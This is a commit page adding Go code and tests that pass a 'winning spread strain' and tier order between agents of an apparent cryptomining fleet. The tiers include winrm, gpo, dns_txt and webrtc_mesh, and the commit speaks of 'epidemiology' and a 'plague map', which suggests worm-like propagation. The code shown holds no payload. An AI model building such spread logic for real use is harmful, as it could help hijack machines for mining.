Add fleet topology epidemiology: strain plague map and mining interrupt fixes.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Strain nodes replace host nodes in FleetTopologyMap; server queues epidemiology_fix on auth and reports interrupts to AI and Seer.
This commit is contained in:
101
server/internal/strategy/graft.go
Normal file
101
server/internal/strategy/graft.go
Normal file
@@ -0,0 +1,101 @@
|
||||
package strategy
|
||||
|
||||
import (
|
||||
"crypto/sha256"
|
||||
"fmt"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
// GraftSource is the winning spread strain from agent A (tier success).
|
||||
type GraftSource struct {
|
||||
SourceAgentID string
|
||||
SourceAgentName string
|
||||
GraftSourceStrain string
|
||||
GraftTier string
|
||||
TierOrder []string
|
||||
PeakHashrate float64
|
||||
}
|
||||
|
||||
// GraftPolicy is pushed to agent B on auth; auth is never gated by genealogy.
|
||||
type GraftPolicy struct {
|
||||
GraftSourceStrain string `json:"graft_source_strain"`
|
||||
GraftTier string `json:"graft_tier"`
|
||||
GraftApprovedAt string `json:"graft_approved_at"`
|
||||
TierOrder []string `json:"tier_order,omitempty"`
|
||||
SourceAgentName string `json:"source_agent_name,omitempty"`
|
||||
}
|
||||
|
||||
// GraftEnabled is true when Fleet AI Control + fleet roles are on (zero extra Calibrate toggles).
|
||||
func GraftEnabled(aiControl, fleetRoles bool) bool {
|
||||
return aiControl && fleetRoles
|
||||
}
|
||||
|
||||
// BuildGraftSourceFromAgent extracts graft inputs from a tier-successful source agent.
|
||||
func BuildGraftSourceFromAgent(sourceID, sourceName, joinLane, spreadStrain string, tierOrder []string, peakHashrate float64) GraftSource {
|
||||
tier := strings.TrimSpace(joinLane)
|
||||
strain := strings.TrimSpace(spreadStrain)
|
||||
if strain == "" && tier != "" {
|
||||
strain = spreadStrainFromLane(tier)
|
||||
}
|
||||
order := normalizeTierList(tierOrder)
|
||||
if len(order) == 0 && tier != "" {
|
||||
order = []string{tier}
|
||||
}
|
||||
return GraftSource{
|
||||
SourceAgentID: strings.TrimSpace(sourceID),
|
||||
SourceAgentName: strings.TrimSpace(sourceName),
|
||||
GraftSourceStrain: strain,
|
||||
GraftTier: tier,
|
||||
TierOrder: order,
|
||||
PeakHashrate: peakHashrate,
|
||||
}
|
||||
}
|
||||
|
||||
// SpliceGraftGenome splices source winning tier order onto target genome without re-spreading B.
|
||||
func SpliceGraftGenome(targetOrder []string, graft GraftSource) []string {
|
||||
sourceOrder := append([]string(nil), graft.TierOrder...)
|
||||
if len(sourceOrder) == 0 && graft.GraftTier != "" {
|
||||
sourceOrder = []string{graft.GraftTier}
|
||||
}
|
||||
target := normalizeTierList(targetOrder)
|
||||
if len(sourceOrder) == 0 {
|
||||
return target
|
||||
}
|
||||
if len(target) == 0 {
|
||||
return sourceOrder
|
||||
}
|
||||
return CrossbreedTierOrders(sourceOrder, target, nil, nil)
|
||||
}
|
||||
|
||||
// GraftMetabolismGatePassed reports whether target hashrate satisfies the earn-before-graft gate.
|
||||
func GraftMetabolismGatePassed(miningHashrate, gateHPS float64) bool {
|
||||
if gateHPS <= 0 {
|
||||
return true
|
||||
}
|
||||
return miningHashrate >= gateHPS
|
||||
}
|
||||
|
||||
// BuildGraftPolicy builds the auth/policy payload for a pending graft on agent B.
|
||||
func BuildGraftPolicy(graft GraftSource, targetOrder []string, approvedAt time.Time) GraftPolicy {
|
||||
order := SpliceGraftGenome(targetOrder, graft)
|
||||
if approvedAt.IsZero() {
|
||||
approvedAt = time.Now().UTC()
|
||||
}
|
||||
return GraftPolicy{
|
||||
GraftSourceStrain: graft.GraftSourceStrain,
|
||||
GraftTier: graft.GraftTier,
|
||||
GraftApprovedAt: approvedAt.UTC().Format(time.RFC3339),
|
||||
TierOrder: order,
|
||||
SourceAgentName: graft.SourceAgentName,
|
||||
}
|
||||
}
|
||||
|
||||
func spreadStrainFromLane(lane string) string {
|
||||
lane = strings.TrimSpace(strings.ToLower(lane))
|
||||
if lane == "" {
|
||||
return ""
|
||||
}
|
||||
sum := sha256.Sum256([]byte("aetherforge-strain:" + lane))
|
||||
return fmt.Sprintf("#%02x%02x%02x", sum[0], sum[1], sum[2])
|
||||
}
|
||||
53
server/internal/strategy/graft_test.go
Normal file
53
server/internal/strategy/graft_test.go
Normal file
@@ -0,0 +1,53 @@
|
||||
package strategy
|
||||
|
||||
import (
|
||||
"testing"
|
||||
"time"
|
||||
)
|
||||
|
||||
func TestSpliceGraftGenomePrependsWinningTier(t *testing.T) {
|
||||
graft := BuildGraftSourceFromAgent("src", "winner", "winrm", "#aabbcc", nil, 900)
|
||||
order := SpliceGraftGenome([]string{"docker", "wsl", "gpo"}, graft)
|
||||
if len(order) < 3 {
|
||||
t.Fatalf("order too short: %v", order)
|
||||
}
|
||||
if order[0] != "winrm" {
|
||||
t.Fatalf("winning tier should lead, got %v", order)
|
||||
}
|
||||
}
|
||||
|
||||
func TestGraftMetabolismGate(t *testing.T) {
|
||||
if !GraftMetabolismGatePassed(100, 50) {
|
||||
t.Fatal("expected pass above gate")
|
||||
}
|
||||
if GraftMetabolismGatePassed(10, 50) {
|
||||
t.Fatal("expected fail below gate")
|
||||
}
|
||||
if !GraftMetabolismGatePassed(0, 0) {
|
||||
t.Fatal("disabled gate should pass")
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildGraftPolicySplicesGenome(t *testing.T) {
|
||||
graft := BuildGraftSourceFromAgent("a", "worker-07", "dns_txt", "#112233",
|
||||
[]string{"dns_txt", "webrtc_mesh", "do_peer"}, 1200)
|
||||
p := BuildGraftPolicy(graft, []string{"docker", "wsl"}, time.Date(2026, 6, 7, 12, 0, 0, 0, time.UTC))
|
||||
if p.GraftTier != "dns_txt" || p.GraftSourceStrain != "#112233" {
|
||||
t.Fatalf("graft fields: %+v", p)
|
||||
}
|
||||
if len(p.TierOrder) == 0 {
|
||||
t.Fatal("expected spliced tier order")
|
||||
}
|
||||
if p.TierOrder[0] != "dns_txt" {
|
||||
t.Fatalf("tier order = %v", p.TierOrder)
|
||||
}
|
||||
}
|
||||
|
||||
func TestGraftEnabledRequiresBothToggles(t *testing.T) {
|
||||
if GraftEnabled(false, true) || GraftEnabled(true, false) {
|
||||
t.Fatal("both toggles required")
|
||||
}
|
||||
if !GraftEnabled(true, true) {
|
||||
t.Fatal("expected enabled")
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user